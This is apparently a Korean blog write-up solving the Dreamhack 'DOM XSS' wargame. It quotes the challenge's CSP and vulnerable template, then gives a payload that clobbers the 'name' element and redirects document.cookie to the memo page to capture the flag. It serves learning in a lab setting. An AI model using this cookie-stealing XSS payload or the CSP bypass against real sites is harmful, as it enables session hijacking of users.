Web Hacking/Dreamhack 풀이
DOM XSS
박연준
2024. 1. 4. 02:08
문제 정보
https://dreamhack.io/wargame/challenges/438
DOM XSS
Description Exercise: DOM XSS에서 실습하는 문제입니다. 문제 수정 내역 2023.08.11 Dockerfile 제공
dreamhack.io
풀이
문제 웹 사이트에 접속해보면 vuln, memo, flag의 페이지가 존재하고, vuln 페이지에서 DOM XSS의 취약점이 있을 것처럼 보인다. memo는 flag를 보여주는 페이지, flag는 사용자로 요청을 수행하는 걸로 보인다.
아래는 문제 소스 코드의 일부인데, CSP에 strict-dynamic이 있는 것을 볼 수 있다. strict-dynamic은 이미 허용된 스크립트의 내부에서 동적으로 생성된 스크립트를 허용하는 옵션이다.
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
아래는 vuln.html의 소스 코드 파일이다. <pre id="name"></pre>가 있는 걸 볼 수 있는데 id가 name인 요소를 삽입하면 document.getElementById("name")의 결과가 방금 본인이 삽입한 요소가 리턴된다.
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
{% endblock %}
따라서 다음과 같이 id가 name인 스크립트 태그를 앞에 작성하고, 뒤에 해쉬를 location.href를 이용해서 memo 페이지에 쿠키를 요청하도록 작성하면 된다.
<script id="name"></script>
#location.href='/memo?memo='+document.cookie;//
위 페이로드를 flag 페이지에 작성하고 요청하면 다음과 같이 flag 값을 획득할 수 있다.